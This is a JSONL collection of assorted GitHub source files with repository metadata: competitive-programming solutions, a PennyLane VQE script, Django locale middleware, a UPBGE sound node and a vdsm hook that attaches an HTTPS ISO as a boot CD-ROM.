+{"seq_id":"41175179028","text":"def test_author_name():\n    from roscreate.core import author_name\n    val = author_name()\n    assert val, val\n\n\ndef test_read_template():\n    from roscreate.core import read_template\n    s = set()\n    # this unit test will break if any of the templates get removed/renamed\n    tests = ['Makefile.tmpl', 'stack.tmpl', 'mainpage.tmpl', 'CMakeLists.stack.tmpl']\n    for f in tests:\n        text = read_template(f)\n        s.add(text)\n    # simple assert to make sure we didn't read the same thing from each template\n    assert len(s) == len(tests)\n\n    # hardcode test against a known template\n    text = read_template('Makefile.tmpl')\n    assert text == 'include $(shell rospack find mk)/cmake.mk'\n","repo_name":"ros/ros","sub_path":"tools/roscreate/test/test_roscreate_core.py","file_name":"test_roscreate_core.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":2491,"dataset":"github-code","pt":"16"}
+{"seq_id":"13318346214","text":"import sys\nfrom collections import deque\ninput = sys.stdin.readline\n\ndx = [-1, 0, 1, 0]\ndy = [0, 1, 0, -1]\n\nN, M = map(int, input().split())\nrack = []\nfor _ in range(M):\n    row = list(map(int, input().split()))\n    rack.append(row)\n\ndef check_safe(x, y):\n    if 0 <= x < M and 0 <= y < N:\n        return True\n    return False\n\ntomato_pos = deque()\n\ndef add_start_node():\n    for x in range(M):\n        for y in range(N):\n            if rack[x][y] == 1:\n                tomato_pos.append((x, y))\n\ndef bfs(tomato_pos):\n    while tomato_pos:\n        x, y = tomato_pos.popleft()\n        for k in range(4):\n            new_x = x + dx[k]\n            new_y = y + dy[k]\n            if check_safe(new_x, new_y):\n                if rack[new_x][new_y] == 0:\n                    rack[new_x][new_y] = rack[x][y] + 1\n                    tomato_pos.append((new_x, new_y))\n                \ndef print_result():\n    ans = float('-inf')\n    for x in range(M):\n        for y in range(N):\n            if rack[x][y] == 0:\n                print(-1)\n                return\n            ans = max(ans, rack[x][y])\n    print(ans-1)\n\nadd_start_node()\nbfs(tomato_pos)\nprint_result()\n    ","repo_name":"swc0620/coding_test_study","sub_path":"boj_7576_토마토.py","file_name":"boj_7576_토마토.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8170845412","text":"#!/usr/bin/env python2\r\n# -*- coding : 'utf-8' -*-\r\n\r\n__author__ = 'Herixth'\r\n\r\nimport re, os\r\n\r\npatt = ['.h', '.cpp', '.py', '.asm']\r\n\r\ndef readIgnore():\r\n    with open('D:/Study/procedure(py)/reptile/.ign') as igFile:\r\n        return list(map(lambda elem: elem[:-1], igFile.readlines()))\r\n\r\ndef judge_str(strs, ignore_):\r\n    for elem in ignore_:\r\n        if elem in strs:\r\n            return False\r\n    return True\r\n\r\ndef judge(file, dirpath, ignore_):\r\n    return judge_str(dirpath + file, ignore_) and os.path.splitext(file)[1] in patt\r\n\r\n\r\ndef getPath():\r\n    readIgnore()\r\n    print('Current path:\\n>>', os.getcwd())\r\n    dirlist = input(\r\n        'Input files\\' path: (different path using \\'&\\' to connect)\\n>> ').split('&')\r\n    return map(lambda strss: strss.strip().replace('/', '\\\\'), dirlist)\r\n\r\n\r\ndef getAllFile(path):\r\n    allFile = []\r\n    ignore_ = readIgnore()\r\n    for dirpath, dirnames, filenames in os.walk(path):\r\n        allFile.extend([os.path.join(dirpath, file) for file in filenames if judge(file, dirpath, ignore_)])\r\n    return allFile\r\n\r\n\r\ndef cntSigPath(sigpath):\r\n    cnt = 0\r\n    for file in sigpath:\r\n        count = len(open(file, 'rb').readlines())\r\n        print(\">> file: %s\\n   curr: %-d  sum: %-d\" % (file, count, cnt + count))\r\n        cnt += count\r\n    return cnt\r\n\r\n\r\ndef countLine(filepaths):\r\n    result = [cntSigPath(sigpath) for sigpath in [getAllFile(sublist) for sublist in filepaths]]\r\n    print('-------------------------------------')\r\n    print(result)\r\n    print('total: %d' % sum(result))\r\n    print('-------------------------------------')\r\n\r\n\r\nif __name__ == '__main__':\r\n    countLine(getPath())\r\n    paste = input('Enter any key to exit.')\r\n","repo_name":"hx-w/duck","sub_path":"statline.py","file_name":"statline.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26330645553","text":"#!/usr/bin/env python\n# @desc : 创建es的元数据对象\n__coding__ = \"utf-8\"\n__author__ = \"itcast team\"\n\n\nclass EsMeta:\n\n    def __init__(self, inType, esNodes, esIndex, esType, selectFields):\n        self.inType = inType\n        self.esNodes = esNodes\n        self.esIndex = esIndex\n        self.esType = esType\n        self.selectFields = selectFields\n\n    def __str__(self):\n        return f'EsMeta(inType={self.inType}, esNodes={self.esNodes}, ' \\\n               f' esIndex={self.esIndex}, esType={self.esType},' \\\n               f' selectFields={self.selectFields})'\n\n\n","repo_name":"FengLongting/test1","sub_path":"TFECUserPortrait/cn/itcast/test1013/test3_four_rule_obj.py","file_name":"test3_four_rule_obj.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25626801480","text":"#!/usr/bin/env python\n\nfrom textwrap import dedent\n\n\ndef read_input(inp):\n    \"\"\"\n    >>> read_input('1,2,3,4,5')\n    [1, 2, 3, 4, 5]\n    >>> inp = r'''\n    ... 1,9,10,3,\n    ... 2,3,11,0,\n    ... 99,\n    ... 30,40,50\n    ... '''\n    >>> read_input(dedent(inp).strip())\n    [1, 9, 10, 3, 2, 3, 11, 0, 99, 30, 40, 50]\n    \"\"\"\n    return [int(i.strip()) for i in inp.split(\",\")]\n\n\ndef process(memory):\n    \"\"\"\n    >>> process([1, 0, 0, 2, 99])\n    [1, 0, 2, 2, 99]\n    >>> process([1,9,10,3,2,3,11,0,99,30,40,50])\n    [3500, 9, 10, 70, 2, 3, 11, 0, 99, 30, 40, 50]\n    >>> process([1,0,0,0,99])\n    [2, 0, 0, 0, 99]\n    >>> process([2,3,0,3,99])\n    [2, 3, 0, 6, 99]\n    >>> process([2,4,4,5,99,0])\n    [2, 4, 4, 5, 99, 9801]\n    >>> process([1,1,1,4,99,5,6,0,99])\n    [30, 1, 1, 4, 2, 5, 6, 0, 99]\n    \"\"\"\n    pc = 0\n\n    while True:\n        intcode = memory[pc]\n\n        if intcode == 1:\n            operand1 = memory[memory[pc + 1]]\n            operand2 = memory[memory[pc + 2]]\n            result = operand1 + operand2\n            memory[memory[pc + 3]] = result\n            pc += 4\n\n        elif intcode == 2:\n            operand1 = memory[memory[pc + 1]]\n            operand2 = memory[memory[pc + 2]]\n            result = operand1 * operand2\n            memory[memory[pc + 3]] = result\n            pc += 4\n\n        elif intcode == 99:\n            return memory\n\n        else:\n            raise Exception(\"Unexpected intcode: %s\" % intcode)\n\n\nif __name__ == \"__main__\":\n    import sys\n\n    memory = read_input(\",\".join(sys.stdin.readlines()))\n    memory[1] = 12\n    memory[2] = 2\n    out = process(memory)\n    print(out[0])\n","repo_name":"scompt/adventofcode2019","sub_path":"2/first.py","file_name":"first.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24011104094","text":"# Definition for a point\nclass Point:\n    def __init__(self, a=0, b=0):\n        self.x = a\n        self.y = b\n\nclass Solution:\n    # @param points, a list of Points\n    # @return an integer\n    def maxPoints(self, points):\n        if len(points)==0 or len(points)==1 or len(points)==2:\n            return len(points)\n        d={}\n        t = points[0]\n        # strat from 2\n        start = 2\n        for i in points[1:]:\n            # may be the same point\n            if t.x == i.x and t.y == i.y:\n                start += 1\n                # care for the variable name\n                for j in d:\n                    d[j] += 1\n            elif t.x == i.x:\n                if (1,0,-i.x) in d.keys():\n                    d[1, 0, -i.x] += 1\n                else:\n                    d[1, 0, -i.x] = start \n            else:\n                # can not use divid(y = kx + b)\n                A = i.y - t.y\n                B = i.x - t.x\n                C = i.y * B - A * i.x\n                if A < 0 or A == 0 and B < 0:\n                    A, B, C = -A, -B, -C\n                g = self.gcd(self.gcd(A, abs(B)), abs(C))\n                # make uniform\n                A, B, C = A//g, B//g, C//g\n                if (A, B, C) in d.keys():\n                    d[A, B, C] += 1\n                else:\n                    d[A, B, C] = start\n        # print(d)\n        max1 = max([d[i] for i in d]) if len(d)!=0 else start - 1\n        max2 = self.maxPoints(points[1:])\n        return max(max1, max2)\n    def gcd(self, a, b):\n        if a < b:\n            a, b = b, a\n        if b == 0:\n            return a\n        return self.gcd(b, a % b)\n\nfor l in ([(0,0), (-1,-1), (2,2)],\n          [(0,0), (1,1), (0,0)],\n          [(1,1), (1,1), (1,1)],\n          [(3,1),(12,3),(3,1),(-6,-1)],\n          [(2,3), (3,3), (-5,3)]):\n    print(Solution().maxPoints([Point(i[0], i[1]) for i in l]))\n","repo_name":"songzy12/LeetCode","sub_path":"python/149.max-points-on-a-line.py","file_name":"149.max-points-on-a-line.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"22199865221","text":"#algorithm using VQE to obtain the dissociation profìle of the hydrogen molecule\n\nimport pennylane as qml\nfrom pennylane import numpy as np\nfrom pennylane import qchem\nimport matplotlib.pyplot as plt\n\n\n#we first specify the molecule we want to simulate: H2 and its coordinates\nsymbols = [\"H\", \"H\"]\ndistance = 1.3228\ncoordinates = np.array([0.0, 0.0, -distance/2, 0.0, 0.0, distance/2])\n\nHamiltonian, qubits = qml.qchem.molecular_hamiltonian(symbols, coordinates)\n\nprint('Number of qubits: ', qubits)\nprint(\"Hamiltonian \", Hamiltonian)\n\n#implementing the VQE algorithm\ndev = qml.device(\"default.qubit\", wires=qubits)\ndev_draw = qml.device('qiskit.aer', wires=qubits)\n\n\n#Hartree-Fock state as initial state\nelectrons = 2\nhf = qml.qchem.hf_state(electrons, qubits)\nprint('Fock state: ', hf)\n\n\ndef circuit(param, wires):\n    qml.BasisState(hf, wires=wires)\n    qml.DoubleExcitation(param, wires=[0,1,2,3])\n\n#definition of the cost function\ndef cost_fn (param):\n    circuit(param, range(qubits))\n    return qml.expval(Hamiltonian)\n\nqnode = qml.QNode(cost_fn, dev)\n\n#create a function that draws the given qnode\ndrawer = qml.draw(qnode)\nprint('Circuit: ')\nprint(drawer(param=np.pi))\n\n#printing in matplotlib style\nqnode_draw = qml.QNode(cost_fn, dev_draw)\nresult = qnode_draw(0)\ndev_draw._circuit.draw(output='mpl',filename = '/mnt/c/Users/gaias/Desktop/Adapt_VQE_TPIV/Images/Circuit_H2.pdf' )\n\n#definition of a classical optimizer, offered by PL\n# x(t+1) = x(t) - n*grad(function(x(t)), where n is the size of our step\nopt = qml.GradientDescentOptimizer(stepsize=0.4)\n\n#inizialing the parameter\ntheta = 0.0\nparams = [theta]\n\nenergy = [qnode(theta)]\nprint(\"Energy: \",energy)\n\nrepetitions = 100\nconvergence = 10**(-7)\n\nfor i in range (repetitions):\n\n    theta = opt.step(qnode, theta)\n\n    energy_new = qnode(theta)\n    energy.append(energy_new)\n    params.append(theta)\n\n    #reached the convergence\n    if (abs(energy_new - energy[i]) < convergence):\n        break\n\nprint('Best Energy value: %.4f Hartree' %(energy[-1]))\nprint('Best parameter value %.4f: '%(params[-1]))\n\nfig = plt.figure(figsize = (10,4))\nax_1 = fig.add_subplot(1,2,1)\nplt.title(\"Energy optimization\")\nplt.plot(energy, 'o-')\nplt.xlabel(\"Iterations\")\nplt.ylabel(\"Energy, Ha\")\n\nax_2 = fig.add_subplot(1,2,2)\nplt.title(\"Parameters optimization\")\nplt.plot(params, 'o-')\nplt.xlabel(\"Iterations\")\nplt.ylabel(r\"Parameter $\\theta$\")\n\nplt.savefig(\"/mnt/c/Users/gaias/Desktop/Adapt_VQE_TPIV/Images/H2_optimization.pdf\")\nplt.show()\n\n\n\n\n\n\n\n\n","repo_name":"GaiaBolognini/AdaptVQE_TPIV","sub_path":"Programs/Molecular_H/H2_energy.py","file_name":"H2_energy.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"36485191015","text":"from django.conf import settings\nfrom django.conf.urls.i18n import is_language_prefix_patterns_used\nfrom django.http import HttpResponseRedirect\nfrom django.urls import get_script_prefix, is_valid_path\nfrom django.utils import translation\nfrom django.utils.cache import patch_vary_headers\nfrom django.utils.deprecation import MiddlewareMixin\n\n\nclass LocaleMiddleware(MiddlewareMixin):\n    \"\"\"\n    Parse a request and decide what translation object to install in the\n    current thread context. This allows pages to be dynamically translated to\n    the language the user desires (if the language is available).\n    \"\"\"\n\n    response_redirect_class = HttpResponseRedirect\n\n    def get_fallback_language(self, request):\n        \"\"\"\n        Return the fallback language for the current request based on the\n        settings. If LANGUAGE_CODE is a variant not included in the supported\n        languages, get_fallback_language() will try to fallback to a supported\n        generic variant.\n\n        Can be overridden to have a fallback language depending on the request,\n        e.g. based on top level domain.\n        \"\"\"\n        try:\n            return translation.get_supported_language_variant(settings.LANGUAGE_CODE)\n        except LookupError:\n            return settings.LANGUAGE_CODE\n\n    def process_request(self, request):\n        urlconf = getattr(request, \"urlconf\", settings.ROOT_URLCONF)\n        i18n_patterns_used, _ = is_language_prefix_patterns_used(urlconf)\n        language = translation.get_language_from_request(\n            request, check_path=i18n_patterns_used\n        )\n        if not language:\n            language = self.get_fallback_language(request)\n\n        translation.activate(language)\n        request.LANGUAGE_CODE = translation.get_language()\n\n    def process_response(self, request, response):\n        language = translation.get_language()\n        language_from_path = translation.get_language_from_path(request.path_info)\n        language_from_request = translation.get_language_from_request(request)\n        urlconf = getattr(request, \"urlconf\", settings.ROOT_URLCONF)\n        (\n            i18n_patterns_used,\n            prefixed_default_language,\n        ) = is_language_prefix_patterns_used(urlconf)\n\n        if (\n            response.status_code == 404\n            and not language_from_path\n            and i18n_patterns_used\n            and (prefixed_default_language or language_from_request)\n        ):\n            # Maybe the language code is missing in the URL? Try adding the\n            # language prefix and redirecting to that URL.\n            language_path = \"/%s%s\" % (language, request.path_info)\n            path_valid = is_valid_path(language_path, urlconf)\n            path_needs_slash = not path_valid and (\n                settings.APPEND_SLASH\n                and not language_path.endswith(\"/\")\n                and is_valid_path(\"%s/\" % language_path, urlconf)\n            )\n\n            if path_valid or path_needs_slash:\n                script_prefix = get_script_prefix()\n                # Insert language after the script prefix and before the\n                # rest of the URL\n                language_url = request.get_full_path(\n                    force_append_slash=path_needs_slash\n                ).replace(script_prefix, \"%s%s/\" % (script_prefix, language), 1)\n                # Redirect to the language-specific URL as detected by\n                # get_language_from_request(). HTTP caches may cache this\n                # redirect, so add the Vary header.\n                redirect = self.response_redirect_class(language_url)\n                patch_vary_headers(redirect, (\"Accept-Language\", \"Cookie\"))\n                return redirect\n\n        if not (i18n_patterns_used and language_from_path):\n            patch_vary_headers(response, (\"Accept-Language\",))\n        response.headers.setdefault(\"Content-Language\", language)\n        return response\n","repo_name":"sardoregamberdiyev/solory_website","sub_path":"solor_energy/venv/Lib/site-packages/django/middleware/locale.py","file_name":"locale.py","file_ext":"py","file_size_in_byte":3920,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"10178806677","text":"import numpy as np\nimport pytest\n\nfrom manipulator.constants import PreconfiguredModels\nfrom manipulator.model import ManipulatorDynamics\n\n\n# test all PreconfiguredModels\n@pytest.mark.parametrize(\"model_config\", (config for config in PreconfiguredModels))\ndef test_ik_module(model_config: PreconfiguredModels):\n    if model_config == PreconfiguredModels.drake_iiwa14:\n        return\n    robot = ManipulatorDynamics.build(model_config)\n    model_config = model_config.value\n    ik_spec = model_config.ik_module_spec\n    if ik_spec is None:\n        return\n    ik_fn = ik_spec.get_ik_fn()\n    fk_fn = ik_spec.get_fk_fn()\n    assert ik_fn is not None\n    assert fk_fn is not None\n\n    import pinocchio as pin\n\n    pin.seed(0)\n    q = robot.random_state()[: robot.nq]\n    trans, rot = fk_fn(q)\n\n    pose = robot.get_ee(q)\n    trans_robot = pose.translation.tolist()\n    rot_robot = pose.rotation.tolist()\n    assert np.allclose(trans_robot, trans)\n    assert np.allclose(rot_robot, rot)\n\n    qs = ik_fn(trans, rot, [q[i] for i in ik_spec.free_joint_indices])\n    ees = [robot.get_ee(np.r_[qq, np.zeros(robot.nv)]) for qq in qs]\n    trans_new = [ee.translation for ee in ees]\n    rot_new = [ee.rotation for ee in ees]\n\n    for t, r in zip(trans_new, rot_new):\n        assert np.allclose(t, trans)\n        assert np.allclose(r, rot)\n","repo_name":"yzhao98/OpenLoopSolver","sub_path":"tests/manipulator_test/test_constants.py","file_name":"test_constants.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5451231208","text":"import empoyee_manager\nclass FrontendManager:\n    def __init__(self):\n        self.employees_manger = empoyee_manager.Employee_Manager()\n\n    def print_menu(self):\n        print('\\nProgram Options:')\n        messages = [\n            '1) Add a new employee',\n            '2) List all employees',\n            '3) Delete by age range',\n            '4) Update salary given a name',\n            '5) End the program'\n        ]\n        print('\\n'.join(messages))\n        msg = input('Enter your choice (from 1 to {len(messages)}): ')\n        return int(msg)\n\n    def run(self):\n        while True:\n            choice = self.print_menu()\n            if choice==1:\n                self.employees_manger.add_employee()\n            elif choice==2:\n                self.employees_manger.print_employee()\n            elif choice==3:\n                self.employees_manger.delete()\n            elif choice==4:\n                self.employees_manger.update_salary()\n            else:\n                break\n\n        \n    \n\nif __name__==\"__main__\":\n    f=FrontendManager()\n    f.run()\n","repo_name":"EngAhmedElkady/python_projects","sub_path":"Employees_System/FrontendManager.py","file_name":"FrontendManager.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"39764747460","text":"import sys\nimport codecs\n\n\ndef write_output(path, dictionary):\n    with codecs.open(path,\"w\",\"utf-8\") as output_file:\n        keys = sorted(list(dictionary.keys()))\n        for key in keys:\n            output_file.write(\"{}\\t{}\\n\".format(key, dictionary[key]))\n\n\ndef main():\n    #sentences = read_file(sys.argv[1])\n    COUNT = dict()\n    with codecs.open(sys.argv[1], \"r\",\"utf-8\") as input_file:\n        for line in input_file:\n            token = line.strip(\"\\n\").split(\" \")[-1]\n            length = len(token)\n            if token == \"SIL\":\n                token = \"s\"\n                #pass\n            elif length in COUNT:\n                COUNT[length] +=1\n            else:\n                COUNT[length] = 1\n    write_output(sys.argv[2],COUNT)\n\nif __name__ == '__main__':\n    main()","repo_name":"mzboito/word_discovery","sub_path":"utils/count_tokens.py","file_name":"count_tokens.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70122840008","text":"class Event:\n    def __init__(self, title, subtitle, matches):\n        self.title = title\n        self.subtitle = subtitle\n        self.matches = matches\n\n    def print_event(self):\n        print(\"Event title: \" + self.title)\n        print(\"Event subtitle: \" + self.subtitle)\n        for match in self.matches:\n            match.print_match()\n","repo_name":"justjo3l/vlr-calendar","sub_path":"vlr_utils/classes/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25821694670","text":"from uplogic.audio import Sound3D\nfrom uplogic.nodes import ULActionNode\nfrom uplogic.nodes import ULOutSocket\nfrom mathutils import Vector\nfrom bpy.types import Sound\n\n\nclass ULStartSound3D(ULActionNode):\n    def __init__(self):\n        ULActionNode.__init__(self)\n        self.condition = None\n        self.sound = None\n        self.occlusion = False\n        self.reverb = False\n        self.transition = .1\n        self.cutoff = .1\n        self.speaker = None\n        self.device = None\n        self.loop_count = None\n        self.pitch = 1.0\n        self.volume = 1.0\n        self.attenuation = 1.0\n        self.distance_ref = 1.0\n        self.cone_angle = Vector((360, 360))\n        self.cone_outer_volume = 1.0\n        self.ignore_timescale = True\n        self.done = None\n        self.on_finish = False\n        self._clear_sound = 1\n        self._sustained = 1\n        self._handle = None\n        self.DONE = ULOutSocket(self, self.get_done)\n        self.ON_FINISH = ULOutSocket(self, self.get_on_finish)\n        self.HANDLE = ULOutSocket(self, self.get_handle)\n\n    def get_handle(self):\n        return self._handle\n\n    def get_on_finish(self):\n        if not self._handle:\n            return False\n        if self._handle.finished:\n            return True\n        return False\n\n    def get_done(self):\n        return self.done\n    \n    def reset(self):\n        super().reset()\n        if self._handle and self._handle.finished:\n            self._handle = None\n\n    def evaluate(self):\n        self.done = False\n        self.on_finish = False\n        volume = self.get_input(self.volume)\n        pitch = self.get_input(self.pitch)\n        if self._handle:\n            self._handle.volume = volume\n            self._handle.pitch = pitch\n        if not self.get_input(self.condition):\n            return\n        speaker = self.get_input(self.speaker)\n        transition = self.get_input(self.transition)\n        reverb = self.get_input(self.reverb)\n        occlusion = self.get_input(self.occlusion)\n        cone_outer_volume = self.get_input(self.cone_outer_volume)\n        attenuation = self.get_input(self.attenuation)\n        cutoff = self.get_input(self.cutoff)\n        file: Sound = self.get_input(self.sound)\n        loop_count = self.get_input(self.loop_count)\n        distance_ref = self.get_input(self.distance_ref)\n        cone_angle = self.get_input(self.cone_angle)\n        ignore_timescale = self.get_input(self.ignore_timescale)\n\n        self._handle = Sound3D(\n            speaker,\n            file.filepath,\n            occlusion,\n            transition,\n            cutoff,\n            loop_count,\n            pitch,\n            volume,\n            reverb,\n            attenuation,\n            distance_ref,\n            [cone_angle.x, cone_angle.y],\n            cone_outer_volume,\n            ignore_timescale,\n            'ln_audio_system'\n        )\n        self.done = True\n","repo_name":"UPBGE/uplogic","sub_path":"uplogic/nodes/actions/startsound3d.py","file_name":"startsound3d.py","file_ext":"py","file_size_in_byte":2901,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"16"}
+{"seq_id":"70574215047","text":"from __future__ import absolute_import\nfrom __future__ import print_function\n\nimport os\nimport hooking\nimport sys\nimport traceback\nfrom six.moves import urllib\nfrom xml.dom import minidom\n\n\n'''\nhttpsisoboot hook:\n    Let the VM boot from an ISO image made available via an https URL without\n    the need to import the ISO into an ISO storage domain.\n    No support for plain http\nsyntax:\n    httpsisoboot=https://server/path/to/disk.iso\n'''\n\n\n_DISK_BY_INDEX = {\n    0: 'hda',\n    1: 'hdb',\n    2: 'hdc',\n    3: 'hdd'\n}\n\n\ndef pretty_print(data):\n    return '\\n'.join(\n        [\n            line\n            for line\n            in data.toprettyxml(\n                indent=' ' * 2,\n                encoding='UTF-8',\n            ).split('\\n')\n            if line.strip()\n        ]\n    )\n\n\ndef increase_devices_boot_order(devices):\n    xmldevices = [\n        e for e in devices.childNodes\n        if e.nodeType == e.ELEMENT_NODE\n    ]\n    for d in xmldevices:\n        boots = d.getElementsByTagName('boot')\n        for boot in boots:\n            if boot.hasAttribute('order'):\n                try:\n                    boot.setAttribute(\n                        'order',\n                        str(\n                            int(\n                                boot.getAttribute('order')\n                            ) + 1\n                        )\n                    )\n                except ValueError:\n                    hooking.log(\n                        'httpsisoboot: unable to manipulate the boot order: '\n                        + d.toxml()\n                    )\n                    raise\n\n\ndef create_https_iso_element(domxml, protocol, hostname, port, url_path):\n    '''\n    <disk type='network' device='cdrom'>\n      <driver name='qemu' type='raw'/>\n      <source protocol=\"https\" name=\"url_path\">\n        <host name=\"hostname\" port=\"80\"/>\n      </source>\n      <target dev='hdc' bus='ide' tray='closed'/>\n      <readonly/>\n      <boot order='1'/>\n    </disk>\n    '''\n\n    disk = domxml.createElement('disk')\n    disk.setAttribute('type', 'network')\n    disk.setAttribute('device', 'cdrom')\n\n    driver = domxml.createElement('driver')\n    driver.setAttribute('name', 'qemu')\n    driver.setAttribute('type', 'raw')\n    disk.appendChild(driver)\n\n    source = domxml.createElement('source')\n    source.setAttribute('protocol', protocol)\n    source.setAttribute('name', url_path)\n\n    host = domxml.createElement('host')\n    host.setAttribute('name', hostname)\n    host.setAttribute('port', port)\n    source.appendChild(host)\n    disk.appendChild(source)\n\n    readonly = domxml.createElement('readonly')\n    disk.appendChild(readonly)\n\n    # find a name for hdX\n    target = domxml.createElement('target')\n    target.setAttribute('bus', 'ide')\n    target.setAttribute('tray', 'closed')\n    xmldisks = domxml.getElementsByTagName('disk')\n    disks = []\n    for d in xmldisks:\n        disks.append(d.getElementsByTagName('target')[0].getAttribute('dev'))\n    found = False\n    for i in range(0, 4):\n        dname = _DISK_BY_INDEX.get(i)\n        if dname and dname not in disks:\n            target.setAttribute('dev', dname)\n            found = True\n            break\n    if not found:\n        hooking.exit_hook('httpsisoboot: unable to attach another ide cdrom\\n')\n    disk.appendChild(target)\n\n    boot = domxml.createElement('boot')\n    boot.setAttribute('order', '1')\n    disk.appendChild(boot)\n\n    return disk\n\n\ndef validate_URL(url):\n    parsed = urllib.parse.urlsplit(url)\n    protocol = parsed.scheme\n    if protocol != 'https':\n        hooking.exit_hook(\n            (\n                \"httpsisoboot: '{protocol}' is not supported, \"\n                \"please use https\\n\"\n            ).format(protocol=protocol)\n        )\n\n    hostname = parsed.netloc.split(':')[0]\n    if not hostname:\n        hooking.exit_hook(\n            (\n                \"httpsisoboot: invalid hostname in the URL '{url}'\\n\"\n            ).format(url=url)\n        )\n\n    port = 443  # https only\n    if parsed.port is not None:\n        port = parsed.port\n    if not port >= 1 and port <= 65535:\n        hooking.exit_hook(\n            (\n                \"httpsisoboot: invalid port in the URL '{url}'\\n\"\n            ).format(url=url)\n        )\n    port_s = str(port)\n\n    url_path = parsed.path\n    if parsed.query:\n        url_path += '?' + parsed.query\n\n    return protocol, hostname, port_s, url_path\n\n\ndef main():\n    if 'httpsisoboot' in os.environ:\n        httpsisoboot = os.environ['httpsisoboot']\n        protocol, hostname, port_s, url_path = validate_URL(httpsisoboot)\n\n        domxml = hooking.read_domxml()\n        devices = domxml.getElementsByTagName('devices')[0]\n        increase_devices_boot_order(devices)\n\n        diskdev = create_https_iso_element(\n            domxml,\n            protocol,\n            hostname,\n            port_s,\n            url_path\n        )\n        devices.appendChild(diskdev)\n        hooking.write_domxml(domxml)\n\n\ndef test():\n    text = '''\n      <devices>\n        <emulator>/usr/bin/qemu-kvm</emulator>\n        <disk type='file' device='cdrom'>\n          <driver name='qemu' type='raw'/>\n          <source file='/rhev/data-center/_test.iso' startupPolicy='optional'/>\n          <backingStore/>\n          <target dev='hdc' bus='ide'/>\n          <readonly/>\n          <serial></serial>\n          <alias name='ide0-1-0'/>\n          <address type='drive' controller='0' bus='1' target='0' unit='0'/>\n        </disk>\n        <disk type='file' device='disk' snapshot='no'>\n          <driver name='qemu' type='raw' cache='none' error_policy='stop'/>\n          <source file='/rhev/data-center/test_d0'/>\n          <backingStore/>\n          <target dev='vda' bus='virtio'/>\n          <serial>6ad5f395-d4f6-419f-a232-bc286bafca97</serial>\n          <boot order='2'/>\n          <alias name='virtio-disk0'/>\n        </disk>\n        <disk type='file' device='disk' snapshot='no'>\n          <driver name='qemu' type='raw' cache='none' error_policy='stop'/>\n          <source file='/rhev/data-center/test_d1'/>\n          <backingStore/>\n          <target dev='vdb' bus='virtio'/>\n          <serial>7b11ff9a-3dbe-4260-8036-253e4efcd59b</serial>\n          <alias name='virtio-disk1'/>\n        </disk>\n        <interface type='bridge'>\n          <mac address='00:1a:4a:4f:bd:39'/>\n          <source bridge='ovirtmgmt'/>\n          <bandwidth>\n          </bandwidth>\n          <target dev='vnet2'/>\n          <model type='virtio'/>\n          <filterref filter='vdsm-no-mac-spoofing'/>\n          <link state='up'/>\n          <boot order='1'/>\n          <alias name='net0'/>\n        </interface>\n      </devices>\n    '''\n    url = 'https://server.example.com:8080/path/to/disk.iso'\n    domxml = minidom.parseString(text)\n    devices = domxml.getElementsByTagName('devices')[0]\n    print(\n        \"\\n Devices definition before increase_devices_boot_order \\n %s\"\n        % pretty_print(devices)\n    )\n    increase_devices_boot_order(devices)\n    print(\n        \"\\n Devices definition after increase_devices_boot_order \\n %s\"\n        % pretty_print(devices)\n    )\n    protocol, hostname, port_s, url_path = validate_URL(url)\n    print(\n        (\n            \"\\n Validated URL \\n\"\n            \" protocol: '{protocol}'\\n\"\n            \" hostname: '{hostname}'\\n\"\n            \" port: '{port_s}'\\n\"\n            \" path: '{url_path}'\\n\"\n        ).format(\n            protocol=protocol,\n            hostname=hostname,\n            port_s=port_s,\n            url_path=url_path,\n        )\n    )\n    diskdev = create_https_iso_element(\n        domxml,\n        protocol,\n        hostname,\n        port_s,\n        url_path\n    )\n    devices.appendChild(diskdev)\n    print(\n        \"\\n Devices definition after setting httpsIsoElement \\n %s\"\n        % pretty_print(devices)\n    )\n\n\nif __name__ == '__main__':\n    try:\n        if '--test' in sys.argv:\n            test()\n        else:\n            main()\n    except:\n        hooking.exit_hook(\n            'httpsisoboot: [unexpected error]: %s\\n' % traceback.format_exc()\n        )\n","repo_name":"oVirt/vdsm","sub_path":"vdsm_hooks/httpsisoboot/before_vm_start.py","file_name":"before_vm_start.py","file_ext":"py","file_size_in_byte":8022,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"16"}
